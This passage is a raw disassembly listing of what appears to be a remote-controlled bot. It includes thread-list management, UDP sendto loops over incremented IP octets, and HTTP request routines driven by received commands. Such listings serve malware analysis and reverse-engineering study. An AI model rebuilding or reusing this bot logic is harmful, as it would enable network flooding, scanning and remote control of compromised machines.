[ebp+var_37C] call sub_4010D2 add esp, 14h loc_414965: ; CODE XREF: sub_4145E8+358j lea eax, [ebp+var_780] push eax call sub_401014 pop ecx jmp loc_414A87 ; --------------------------------------------------------------------------- loc_414977: ; CODE XREF: sub_4145E8+2B6j ; sub_4145E8+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_43577C push edi call dword_4916C0 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset dword_435744 push eax call sub_416821 lea eax, [ebp+var_D8] push eax call sub_401014 add esp, 14h jmp loc_414A87 ; --------------------------------------------------------------------------- loc_4149BD: ; CODE XREF: sub_4145E8+275j cmp [ebp+var_D7], 4 jnz loc_414A71 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_4149FA inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_414A08 ; --------------------------------------------------------------------------- loc_4149FA: ; CODE XREF: sub_4145E8+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_414A08: ; CODE XREF: sub_4145E8+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_417E44 push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_416DEA add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_4916C0 ; sendto cmp edi, ebx jnz short loc_414A87 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_435710 jmp loc_41492B ; --------------------------------------------------------------------------- loc_414A71: ; CODE XREF: sub_4145E8+268j ; sub_4145E8+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_435704 push edi call dword_4916C0 ; sendto loc_414A87: ; CODE XREF: sub_4145E8+204j ; sub_4145E8+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_414793 loc_414A93: ; CODE XREF: sub_4145E8+1B4j push edi call dword_4916F4 ; closesocket push [ebp+var_8] call sub_416D94 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_414AC7 push [ebp+var_170] call sub_4012A3 pop ecx push ebx call ds:dword_495334 ; ExitThread loc_414AC7: ; CODE XREF: sub_4145E8+4CAj push 3E8h call ds:dword_495324 ; Sleep push esi loc_414AD3: ; CODE XREF: sub_4145E8+123j call sub_4012EE pop edi pop esi pop ebx leave retn 4 sub_4145E8 endp ; --------------------------------------------------------------------------- db 13Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414C1C proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E720 loc_414C24: ; CODE XREF: sub_414C1C+18j cmp byte ptr [eax], 0 jz short loc_414C38 add eax, 234h inc edi cmp eax, offset dword_4834B0 jl short loc_414C24 jmp short loc_414C83 ; --------------------------------------------------------------------------- loc_414C38: ; CODE XREF: sub_414C1C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E720[esi] push eax call sub_416A10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E920[esi], eax and dword_43E924[esi], 0 mov eax, [esp+8+arg_8] and dword_43E928[esi], 0 mov dword_43E92C[esi], eax and byte_43E938[esi], 0 pop esi loc_414C83: ; CODE XREF: sub_414C1C+1Aj mov eax, edi pop edi retn sub_414C1C endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- loc_414CA1: ; CODE XREF: sub_4011E5j push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+8] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp-98h] rep movsd push dword ptr [ebp-10h] mov dword ptr [eax+94h], 1 lea eax, [ebp-94h] push dword ptr [ebp-0Ch] push eax push dword ptr [ebp-98h] call sub_40108C push dword ptr [ebp-14h] call sub_4012A3 add esp, 14h push 0 call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D07 proc near ; CODE XREF: sub_40108Cj var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h xor edi, edi mov esi, offset dword_43E720 loc_414D31: ; CODE XREF: sub_414D07+78j cmp byte ptr [esi], 0 jz short loc_414D72 cmp [ebp+arg_C], 0 jnz short loc_414D45 cmp dword ptr [esi+204h], 0 jnz short loc_414D72 loc_414D45: ; CODE XREF: sub_414D07+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_416821 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 24h loc_414D72: ; CODE XREF: sub_414D07+2Dj ; sub_414D07+3Cj add esi, 234h inc edi cmp esi, offset dword_4834B0 jl short loc_414D31 pop edi pop esi leave retn sub_414D07 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414DA4 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_414E2C cmp esi, 1F4h jge short loc_414E2C imul esi, 234h push edi push ebx push dword_43E934[esi] lea edi, dword_43E934[esi] call ds:dword_4953B4 ; TerminateThread cmp [edi], ebx jz short loc_414DDC push 1 pop ebp loc_414DDC: ; CODE XREF: sub_414DA4+33j mov [edi], ebx lea edi, dword_43E928[esi] mov dword_43E920[esi], ebx mov dword_43E924[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_414DFD push eax call sub_40124E pop ecx loc_414DFD: ; CODE XREF: sub_414DA4+50j mov [edi], ebx lea edi, dword_43E92C[esi] mov byte ptr dword_43E720[esi], bl mov byte_43E938[esi], bl push dword ptr [edi] call dword_4916F4 ; closesocket lea esi, dword_43E930[esi] mov [edi], ebx push dword ptr [esi] call dword_4916F4 ; closesocket mov [esi], ebx pop edi loc_414E2C: ; CODE XREF: sub_414DA4+Dj ; sub_414DA4+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_414DA4 endp ; --------------------------------------------------------------------------- db 23h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E55 proc near ; CODE XREF: sub_401109j push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E720 loc_414E61: ; CODE XREF: sub_414E55+2Aj cmp byte ptr [esi], 0 jz short loc_414E72 push edi call sub_4010A5 test eax, eax pop ecx jz short loc_414E72 inc ebx loc_414E72: ; CODE XREF: sub_414E55+Fj ; sub_414E55+1Aj add esi, 234h inc edi cmp esi, offset dword_4834B0 jl short loc_414E61 pop edi mov eax, ebx pop esi pop ebx retn sub_414E55 endp ; --------------------------------------------------------------------------- db 0Ch dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E93 proc near ; CODE XREF: sub_401285j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E924 loc_414EA7: ; CODE XREF: sub_414E93+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_414EC9 test edi, edi jle short loc_414EBB cmp [esi], edi jz short loc_414EBB cmp ebx, edi jnz short loc_414EC9 loc_414EBB: ; CODE XREF: sub_414E93+1Ej ; sub_414E93+22j push ebx call sub_4010A5 test eax, eax pop ecx jz short loc_414EC9 inc [ebp+var_4] loc_414EC9: ; CODE XREF: sub_414E93+1Aj ; sub_414E93+26j ... add esi, 234h inc ebx cmp esi, offset dword_4836B4 jl short loc_414EA7 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414E93 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414EF3 proc near ; CODE XREF: sub_4010E6j arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E920 loc_414EFA: ; CODE XREF: sub_414EF3+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_414F03 inc eax loc_414F03: ; CODE XREF: sub_414EF3+Dj add ecx, 234h cmp ecx, offset dword_4836B0 jl short loc_414EFA retn sub_414EF3 endp ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414F19 proc near ; CODE XREF: sub_40128Aj arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E920 loc_414F23: ; CODE XREF: sub_414F19+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_414F3C add ecx, 234h inc edx cmp ecx, offset dword_4836B0 jl short loc_414F23 pop esi retn ; --------------------------------------------------------------------------- loc_414F3C: ; CODE XREF: sub_414F19+10j mov eax, edx pop esi retn sub_414F19 endp ; --------------------------------------------------------------------------- db 9 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F49 proc near ; CODE XREF: sub_4010A0j var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_414F62 push [ebp+arg_1C] call sub_416CCF pop ecx loc_414F62: ; CODE XREF: sub_414F49+Ej push eax push [ebp+arg_18] call sub_401285 pop ecx test eax, eax pop ecx jle short loc_414F8E push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_416821 add esp, 14h jmp short loc_414FA8 ; --------------------------------------------------------------------------- loc_414F8E: ; CODE XREF: sub_414F49+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_416821 add esp, 10h loc_414FA8: ; CODE XREF: sub_414F49+43j cmp [ebp+arg_C], 0 jnz short loc_414FC8 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_414FC8: ; CODE XREF: sub_414F49+63j lea eax, [ebp+var_200] push eax call sub_401014 pop ecx leave retn sub_414F49 endp ; --------------------------------------------------------------------------- db 23h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414FFA proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E934[eax], ecx mov dword_43E920[eax], ecx mov dword_43E924[eax], ecx mov dword_43E928[eax], ecx mov dword_43E92C[eax], ecx mov dword_43E930[eax], ecx mov byte ptr dword_43E720[eax], cl mov byte_43E938[eax], cl retn sub_414FFA endp ; --------------------------------------------------------------------------- db 0Fh dup(0CCh) ; --------------------------------------------------------------------------- loc_415046: ; CODE XREF: sub_4011B3j push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+8] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-35Ch] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp-148h] push ebx push eax mov [ebp-0Ch], ebx mov [ebp-4], ebx mov dword ptr [ebp-8], offset dword_4359E4 call sub_415CA0 push edi lea eax, [ebp-1C8h] push ebx push eax call sub_415CA0 push edi lea eax, [ebp-0C8h] push ebx push eax call sub_415CA0 push 100h lea eax, [ebp-65Ch] push ebx push eax call sub_415CA0 push 3Ch lea eax, [ebp-48h] pop edi push edi push ebx push eax call sub_415CA0 add esp, 3Ch lea eax, [ebp-48h] mov [ebp-48h], edi mov [ebp-34h], esi push eax lea eax, [ebp-358h] push ebx push eax mov [ebp-28h], esi mov [ebp-20h], esi mov [ebp-18h], esi call sub_4158E0 pop ecx push eax lea eax, [ebp-358h] push eax call dword_491564 ; InternetCrackUrlA test eax, eax jz loc_4151E0 cmp [ebp-34h], ebx jbe short loc_41511D push dword ptr [ebp-34h] lea eax, [ebp-148h] push dword ptr [ebp-38h] push eax call sub_416A10 add esp, 0Ch loc_41511D: ; CODE XREF: .text:00415106j cmp [ebp-28h], ebx movzx esi, word ptr [ebp-30h] jbe short loc_41513B push dword ptr [ebp-28h] lea eax, [ebp-1C8h] push dword ptr [ebp-2Ch] push eax call sub_416A10 add esp, 0Ch loc_41513B: ; CODE XREF: .text:00415124j cmp [ebp-20h], ebx jbe short loc_415155 push dword ptr [ebp-20h] lea eax, [ebp-0C8h] push dword ptr [ebp-24h] push eax call sub_416A10 add esp, 0Ch loc_415155: ; CODE XREF: .text:0041513Ej cmp [ebp-18h], ebx jbe short loc_41516F push dword ptr [ebp-18h] lea eax, [ebp-65Ch] push dword ptr [ebp-1Ch] push eax call sub_416A10 add esp, 0Ch loc_41516F: ; CODE XREF: .text:00415158j push ebx push ebx lea eax, [ebp-0C8h] push 3 push eax lea eax, [ebp-1C8h] push eax lea eax, [ebp-148h] push esi push eax push dword_49160C call dword_491630 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_4151F8 push ebx lea eax, [ebp-8] push 200h push eax lea eax, [ebp-2D8h] push eax lea eax, [ebp-65Ch] push ebx push eax push ebx push esi call dword_491624 ; HttpOpenRequestA cmp eax, ebx mov [ebp-4], eax jz short loc_4151FF push ebx push ebx push ebx push ebx push eax call dword_4915D8 ; HttpSendRequestA test eax, eax jz short loc_4151D9 push offset dword_4359B8 jmp short loc_415204 ; --------------------------------------------------------------------------- loc_4151D9: ; CODE XREF: .text:004151D0j push offset unk_435964 jmp short loc_415204 ; --------------------------------------------------------------------------- loc_4151E0: ; CODE XREF: .text:004150FDj lea eax, [ebp-55Ch] push offset dword_435938 push eax call sub_416821 mov esi, [ebp-0Ch] pop ecx pop ecx jmp short loc_415212 ; --------------------------------------------------------------------------- loc_4151F8: ; CODE XREF: .text:00415199j push offset unk_4358F8 jmp short loc_415204 ; --------------------------------------------------------------------------- loc_4151FF: ; CODE XREF: .text:004151C1j push offset unk_4358B0 loc_415204: ; CODE XREF: .text:004151D7j ; .text:004151DEj ... lea eax, [ebp-55Ch] push eax call sub_416821 pop ecx pop ecx loc_415212: ; CODE XREF: .text:004151F6j cmp [ebp-1D4h], ebx jnz short loc_41523D push ebx lea eax, [ebp-55Ch] push dword ptr [ebp-1D0h] push eax lea eax, [ebp-258h] push eax push dword ptr [ebp-35Ch] call sub_4010D2 add esp, 14h loc_41523D: ; CODE XREF: .text:00415218j lea eax, [ebp-55Ch] push eax call sub_401014 pop ecx push esi call dword_491690 ; InternetCloseHandle push dword ptr [ebp-4] call dword_491690 ; InternetCloseHandle push dword ptr [ebp-1D8h] call sub_4012A3 pop ecx push ebx call ds:dword_495334 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 8Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152FA proc near ; CODE XREF: sub_401113j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_415304: ; CODE XREF: sub_4152FA+68j mov cl, [esi] test cl, cl jz short loc_415364 cmp eax, 1 jnz short loc_415364 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_415364 cmp cl, 2Ah jz short loc_41534B cmp cl, 3Fh jz short loc_41532E cmp cl, 5Bh jz short loc_415333 xor eax, eax cmp cl, dl setz al loc_41532E: ; CODE XREF: sub_4152FA+26j inc [ebp+arg_4] jmp short loc_41535E ; --------------------------------------------------------------------------- loc_415333: ; CODE XREF: sub_4152FA+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_4010B9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_41535E ; --------------------------------------------------------------------------- loc_41534B: ; CODE XREF: sub_4152FA+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40129E mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_41535E: ; CODE XREF: sub_4152FA+37j ; sub_4152FA+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_415304 ; --------------------------------------------------------------------------- loc_415364: ; CODE XREF: sub_4152FA+Ej ; sub_4152FA+13j ... cmp byte ptr [esi], 2Ah jnz short loc_415374 cmp eax, 1 jnz short loc_41538B inc esi mov [ebp+arg_0], esi jmp short loc_415364 ; --------------------------------------------------------------------------- loc_415374: ; CODE XREF: sub_4152FA+6Dj cmp eax, 1 jnz short loc_41538B mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_41538B cmp byte ptr [esi], 0 jnz short loc_41538B push 1 pop eax jmp short loc_41538D ; --------------------------------------------------------------------------- loc_41538B: ; CODE XREF: sub_4152FA+72j ; sub_4152FA+7Dj ... xor eax, eax loc_41538D: ; CODE XREF: sub_4152FA+8Fj pop esi pop ebp retn sub_4152FA endp ; --------------------------------------------------------------------------- db 25h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153B5 proc near ; CODE XREF: sub_4010B9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4153D6 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4153D6: ; CODE XREF: sub_4153B5+19j push ebx push esi loc_4153D8: ; CODE XREF: sub_4153B5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4153E6 cmp [ebp+var_4], eax jnz short loc_415432 loc_4153E6: ; CODE XREF: sub_4153B5+2Aj test edi, edi jnz short loc_415427 cmp bl, 2Dh jnz short loc_41541B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_41541B cmp al, 5Dh jz short loc_41541B cmp [ebp+var_4], edi jnz short loc_41541B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_415427 cmp bl, al jg short loc_415427 push 1 mov [edx], esi pop edi jmp short loc_415427 ; --------------------------------------------------------------------------- loc_41541B: ; CODE XREF: sub_4153B5+38j ; sub_4153B5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_415427 push 1 pop edi loc_415427: ; CODE XREF: sub_4153B5+33j ; sub_4153B5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_4153D8 ; --------------------------------------------------------------------------- loc_415432: ; CODE XREF: sub_4153B5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41543F mov ecx, eax sub ecx, edi mov edi, ecx loc_41543F: ; CODE XREF: sub_4153B5+82j cmp edi, eax jnz short loc_415448 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_415448: ; CODE XREF: sub_4153B5+8Cj mov eax, edi pop edi leave retn sub_4153B5 endp ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415473 proc near ; CODE XREF: sub_40129Ej var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_41548F: ; CODE XREF: sub_415473+3Aj cmp [eax], bl jz short loc_4154AF mov cl, [ecx] cmp cl, 3Fh jz short loc_4154A4 cmp cl, 2Ah jnz short loc_4154AF cmp cl, 3Fh jnz short loc_4154A7 loc_4154A4: ; CODE XREF: sub_415473+25j inc eax mov [edi], eax loc_4154A7: ; CODE XREF: sub_415473+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_41548F ; --------------------------------------------------------------------------- loc_4154AF: ; CODE XREF: sub_415473+1Ej ; sub_415473+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_4154BA inc dword ptr [esi] jmp short loc_4154AF ; --------------------------------------------------------------------------- loc_4154BA: ; CODE XREF: sub_415473+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_4154DB mov edx, [esi] cmp [edx], bl jz short loc_4154CC xor eax, eax jmp short loc_41553B ; --------------------------------------------------------------------------- loc_4154CC: ; CODE XREF: sub_415473+53j cmp cl, bl jnz short loc_4154DB mov ecx, [esi] cmp [ecx], bl jnz short loc_4154DB push 1 pop eax jmp short loc_41553B ; --------------------------------------------------------------------------- loc_4154DB: ; CODE XREF: sub_415473+4Dj ; sub_415473+5Bj ... push eax push dword ptr [esi] call sub_401113 pop ecx test eax, eax pop ecx jnz short loc_415525 loc_4154E9: ; CODE XREF: sub_415473+B0j inc dword ptr [edi] mov eax, [edi] loc_4154ED: ; CODE XREF: sub_415473+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_415505 cmp cl, 5Bh jz short loc_415505 cmp dl, bl jz short loc_415505 inc eax mov [edi], eax jmp short loc_4154ED ; --------------------------------------------------------------------------- loc_415505: ; CODE XREF: sub_415473+82j ; sub_415473+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41551C push eax push dword ptr [esi] call sub_401113 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415521 ; --------------------------------------------------------------------------- loc_41551C: ; CODE XREF: sub_415473+96j mov [ebp+var_4], ebx xor eax, eax loc_415521: ; CODE XREF: sub_415473+A7j cmp eax, ebx jnz short loc_4154E9 loc_415525: ; CODE XREF: sub_415473+74j mov eax, [edi] cmp [eax], bl jnz short loc_415538 mov eax, [esi] cmp [eax], bl jnz short loc_415538 mov [ebp+var_4], 1 loc_415538: ; CODE XREF: sub_415473+B6j ; sub_415473+BCj mov eax, [ebp+var_4] loc_41553B: ; CODE XREF: sub_415473+57j ; sub_415473+66j pop edi pop esi pop ebx leave retn sub_415473 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415573 proc near ; CODE XREF: sub_4026AF+15p ; sub_40271E+15p ... mov eax, offset loc_4250EC call sub_4163B8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_401050 mov esi, offset aStringTooLong ; "string too long" push esi call sub_4158E0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4010F0 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4155CD lea eax, [ebp-3Ch] push offset dword_428250 push eax mov dword ptr [ebp-3Ch], offset off_427588 call sub_4181A0 pop esi sub_415573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4155CD proc near ; CODE XREF: sub_415573+3Fp ; sub_41579F+3Fp mov eax, offset loc_425100 call sub_4163B8 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_4370BC call sub_41803C mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_401050 push ds:dword_427084 mov ecx, edi push 0 push ebx call sub_401258 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_4275A8 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_4155CD endp ; =============== S U B R O U T I N E ======================================= sub_415631 proc near ; DATA XREF: .rdata:0042758Co ; .rdata:004275ACo ... mov eax, [ecx+10h] test eax, eax jnz short locret_41563D mov eax, offset dword_427094 locret_41563D: ; CODE XREF: sub_415631+5j retn sub_415631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41563E proc near ; DATA XREF: .rdata:004275B0o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4156B4 lea eax, [ebp+var_1C] push offset dword_4282C0 push eax call sub_4181A0 sub_41563E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41565B proc near ; CODE XREF: sub_415698+3p ; DATA XREF: .rdata:004282C4o mov eax, offset loc_425114 call sub_4163B8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4275A8 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_401050 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4180E2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41565B endp ; =============== S U B R O U T I N E ======================================= sub_415698 proc near ; DATA XREF: .rdata:off_4275A8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41565B test [esp+4+arg_0], 1 jz short loc_4156AE push esi call sub_4158CA pop ecx loc_4156AE: ; CODE XREF: sub_415698+Dj mov eax, esi pop esi retn 4 sub_415698 endp ; =============== S U B R O U T I N E ======================================= sub_4156B4 proc near ; CODE XREF: sub_41563E+Ap ; sub_415787+7p ... mov eax, offset loc_425128 call sub_4163B8 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_418079 mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_401050 push ds:dword_427084 mov ecx, edi push 0 push ebx call sub_401258 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_4275A8 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_4156B4 endp ; =============== S U B R O U T I N E ======================================= sub_415711 proc near ; CODE XREF: sub_41576B+3p ; DATA XREF: .rdata:00428254o mov eax, offset loc_42513C call sub_4163B8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4275A8 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_401050 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4180E2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_415711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41574E proc near ; DATA XREF: .rdata:00427590o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_415787 lea eax, [ebp+var_1C] push offset dword_428250 push eax call sub_4181A0 sub_41574E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41576B proc near ; DATA XREF: .rdata:off_427588o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_415711 test [esp+4+arg_0], 1 jz short loc_415781 push esi call sub_4158CA pop ecx loc_415781: ; CODE XREF: sub_41576B+Dj mov eax, esi pop esi retn 4 sub_41576B endp ; =============== S U B R O U T I N E ======================================= sub_415787 proc near ; CODE XREF: sub_41574E+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4156B4 mov dword ptr [esi], offset off_427588 mov eax, esi pop esi retn 4 sub_415787 endp ; =============== S U B R O U T I N E ======================================= sub_41579F proc near ; CODE XREF: sub_40278A+13p ; sub_4029BE+Ep mov eax, offset loc_425150 call sub_4163B8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_401050 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_4158E0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4010F0 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4155CD lea eax, [ebp-3Ch] push offset dword_428378 push eax mov dword ptr [ebp-3Ch], offset off_4275B8 call sub_4181A0 pop esi sub_41579F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4157F9 proc near ; CODE XREF: sub_415853+3p ; DATA XREF: .rdata:0042837Co mov eax, offset loc_425164 call sub_4163B8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4275A8 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_401050 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4180E2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_4157F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415836 proc near ; DATA XREF: .rdata:004275C0o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41586F lea eax, [ebp+var_1C] push offset dword_428378 push eax call 